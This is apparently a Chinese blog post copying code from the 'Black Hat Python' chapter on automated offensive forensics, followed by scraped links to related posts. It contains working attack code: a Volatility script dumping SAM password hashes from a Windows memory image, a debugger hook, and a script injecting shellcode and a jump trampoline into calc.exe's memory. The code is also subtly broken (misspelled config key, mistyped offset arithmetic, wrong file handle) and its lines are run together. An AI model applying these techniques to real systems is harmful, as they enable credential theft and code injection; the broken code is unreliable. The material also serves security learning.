《Python黑帽子:黑客与渗透测试编程之道》 自动化攻击取证
import sys
import struct memory_file = "WinXPenSP3-Snapshot8.vmem"
sys.path.append("C:\\Python27\\volatility-2.3.1") import volatility.conf as conf
import volatility.registry as registry registry.PluginImporter()
config = conf.ConfObject() import volatility.commands as commands
import volatility.addrspace as addrspace config.parse_options()
config.PROFILE = "WinXPenSP3x86"
config.LOCALTION = "file://%s"%memory_file registry.register_global_options(config,commands.Command)
registry.register_global_options(config,addrspace.BaseAddressSpace) from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump registry = RegistryApi(config)
registry.populate_offsets() sam_offset = None
sys_offset = None for offset in registry.all_offsets:
if registry.all_offsets[offset].endswith("\\SAM"):
sam_offset = offset
print "[*] SAM: 0x%08x"%offset if registry.all_offsets[offset].endswith("\\system"):
sys_offset = offset
print "[*] System: 0x%08x"%offset
if sam_offset is not None and sys_offset is not None:
config.sys_offset = sys_offset
config.sam_offset = sam_offset hashdump = HashDump(config) for hash in hashdump.calculate():
print hash break if sam_offset is None or sys_offset is None:
print "[*] Failed to find the system or SAM offsets."
直接代码注入
from immlib import * class cc_hook(LogBpHook):
"""docstring for cc_hook"""
def __init__(self,):
LogBpHook.__init__(self)
self.imm = Debugger() def run(self,regs):
self.imm.log("%08x"%regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP']) return def main(args):
imm = Debugger() calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase()) functions = imm.getAllFunctions(calc.getCodebase())
hooker = cc_hook() for function in functions:
hooker.add("%08x"%function,function) return "Tracking %d functions."%len(functions)
#coding=utf-8
import sys
import struct equals_button = 0x01005D51 memory_file = "WinXPenSP3-Snapshot8.vmem"
slack_space = None
trampoline_offset = None #读入我们的shellcode
sc_fd = open("cmeasure.bin","rb")
sc = sc_fd.read()
sc_fd.close() sys.path.append("C:\\Python27\\volatility-2.3.1") import volatility.conf as conf
import volatility.registry as registry registry.PluginImporter()
config = conf.ConfObject() import volatility.commands as commands
import volatility.addrspace as addrspace config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCALTION = "file://%s"%memory_file import volatility.plugins.taskmods as taskmods p = taskmods.PSList(config) for process in p.calculate():
if str(process.ImageFileName) == "calc.exe":
print "[*] Found calc.exe with PID %d"%process.UniqueProcessId
print "[*] Hunting for physical offsets...please wait." address_space = process.get_process_address_space()
pages = address_space.get_available_pages() for page in pages:
physical = address_space.vtop(page[0])
if physical is not None:
if slack_space is None:
fd = open(memory_file,"r+")
fd.seek(physical)
buf = fd.read(page[1]) try:
offset = buf.index("\x00"*len(sc))
slack_space = page[0] + offset print "[*] Found good shellcode location!"
print "[*] Virtual address: 0x%08x"%slack_space
print "[*] Physical address: 0x%08x"%(physical + offset)
print "[*] Injecting shellcode." fd.seek(physical + offset)
fd.write(sc)
fd.close() #创建我们的跳转代码
tramp = "\xbb%s"%struct.pack("<L",page[0] + offset)
tramp += "\xff\xe3" if trampoline_offset is not None:
break except:
pass fd.close() #查看目标代码的位置
if page[0] <= equals_button and equals_button < ((page[0] + page[1]) - 7):
print "[*] Found our trampoline target at: 0x%08x"%(physical) #计算虚拟偏移
v_offset = equals_button = page[0] #计算物理偏移
trampoline_offset = physical + v_offset print "[*] Found our trampoline target at: 0x%08x"%(trampoline_offset) if slack_space is not None:
break print "[*] Writing trampoline..." fd = open(memory_file,"r+")
fd.seek(trampoline_offset)
fd.write(tramp)
f.close() print "[*] Done injecting code."
《Python黑帽子:黑客与渗透测试编程之道》 自动化攻击取证的更多相关文章
- python黑帽子-黑客与渗透测试编程之道(源代码)
链接: https://pan.baidu.com/s/1i5BnB5V 密码: ak9t
- 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道
Python黑帽子 黑客与渗透测试编程之道 <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...
- 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道
python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...
- 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理
下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击
Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者
窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...
- 《Python黑帽子:黑客与渗透测试编程之道》 网络基础
TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...
- 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器
基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能
有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...
- 《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制
GitHub账号设置: 这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧: mkd ...
随机推荐
- service层代码相互调用, 导致spring循环依赖,设计上的优化
管理员创建用户需要发送激活邮件, 而发送激活邮件的时候需要判断发件人是不是合法的用户, 因此设计到一个循环依赖的问题 //UserService @Service class UserService{ ...
- windows10安装ubuntu on windows10
安装向导 https://msdn.microsoft.com/en-us/commandline/wsl/install_guide
- 一道另类的区间dp题 -- P3147 [USACO16OPEN]262144
https://www.luogu.org/problemnew/show/P3147 此题与上一题完全一样,唯一不一样的就是数据范围; 上一题是248,而这一题是262144; 普通的区间dp表示状 ...
- 区间DP初探 P1880 [NOI1995]石子合并
https://www.luogu.org/problemnew/show/P1880 区间dp,顾名思义,是以区间为阶段的一种线性dp的拓展 状态常定义为$f[i][j]$,表示区间[i,j]的某种 ...
- excel2007vba绘图1
参考:http://club.excelhome.net/thread-480025-1-1.html '----------------------------------------------- ...
- RestTemplate将响应数据转换为具有泛型的类对象
前言: 重要,RestTemplate在SpringBoot项目里即便通过HttpMessageConverters添加了Fastjson且优先级比jackson要高也不会在RestTemplate里 ...
- Jersey RESTful WebService框架学习(四)使用@FormParam
前端 <form action="/Jersey/api/1.0/my/form" method="post"> <input type=&q ...
- 编译时:virtual memory exhausted: Cannot allocate memory,常见于VPS
原文链接:http://blog.csdn.net/taiyang1987912/article/details/41695895 一.问题 当安装虚拟机时系统时没有设置swap大小或设置内存太小,编 ...
- TCP报文首部详解
首部固定部分各字段的意义如下: 1.源端口和目的端口,各占2个字节. 2.序号:占4个字节,序号范围为0到2的32次方-1,序号增加到2的32次方-1之后,下一个序号变为0,在一个TCP连接中传送的字 ...
- 一个封存Id与状态对应键值的神器,BigInteger的setBit和testBit用法实例
1,首先描述一下应用场景 比如,我们要对菜单做权限,控制不同角色菜单显示与不显示,角色为经理时,我们需要菜单id为 4,7,13,24的菜单显示,别的菜单不显示. 就是说,这时候我们要把4,7,13, ...